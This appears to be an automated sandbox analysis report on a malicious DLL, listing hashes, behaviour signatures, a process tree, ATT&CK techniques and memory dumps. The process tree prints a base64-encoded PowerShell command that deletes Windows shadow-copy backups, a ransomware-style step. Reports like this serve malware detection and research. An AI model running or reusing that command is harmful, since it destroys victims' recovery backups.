Analysis

  • max time kernel
    99s
  • max time network
    35s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 02:13

General

  • Target

    3ff14b291c37f0de3b94f6bdbf8723359e8f8f3bb6c1e893090734c7c7bd65b4.dll

  • Size

    164KB

  • MD5

    762f92beb5e25919a74981b91b2d7438

  • SHA1

    d6c0788948af1cf61080f123225f290b1904848b

  • SHA256

    3ff14b291c37f0de3b94f6bdbf8723359e8f8f3bb6c1e893090734c7c7bd65b4

  • SHA512

    1ea9ecc28d86c384246d24a58265e35afb3cdeca3002e0e336649d44e59ed1cac1cba0cbbfa7a311f68f5445982f386d36adc45e14b23f3454eeffcfbc4fc55a

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\3ff14b291c37f0de3b94f6bdbf8723359e8f8f3bb6c1e893090734c7c7bd65b4.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\3ff14b291c37f0de3b94f6bdbf8723359e8f8f3bb6c1e893090734c7c7bd65b4.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1704
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:336

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

1
T1012

Peripheral Device Discovery

1
T1120

System Information Discovery

1
T1082

Replay Monitor

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Downloads

  • memory/1160-55-0x0000000075DF1000-0x0000000075DF3000-memory.dmp
    Filesize

    8KB

  • memory/1704-56-0x000007FEFC3A1000-0x000007FEFC3A3000-memory.dmp
    Filesize

    8KB

  • memory/1704-59-0x00000000025C2000-0x00000000025C4000-memory.dmp
    Filesize

    8KB

  • memory/1704-58-0x00000000025C0000-0x00000000025C2000-memory.dmp
    Filesize

    8KB

  • memory/1704-60-0x00000000025C4000-0x00000000025C7000-memory.dmp
    Filesize

    12KB

  • memory/1704-57-0x000007FEF3770000-0x000007FEF42CD000-memory.dmp
    Filesize

    11.4MB

  • memory/1704-61-0x000000001B810000-0x000000001BB0F000-memory.dmp
    Filesize

    3.0MB

  • memory/1704-62-0x00000000025CB000-0x00000000025EA000-memory.dmp
    Filesize

    124KB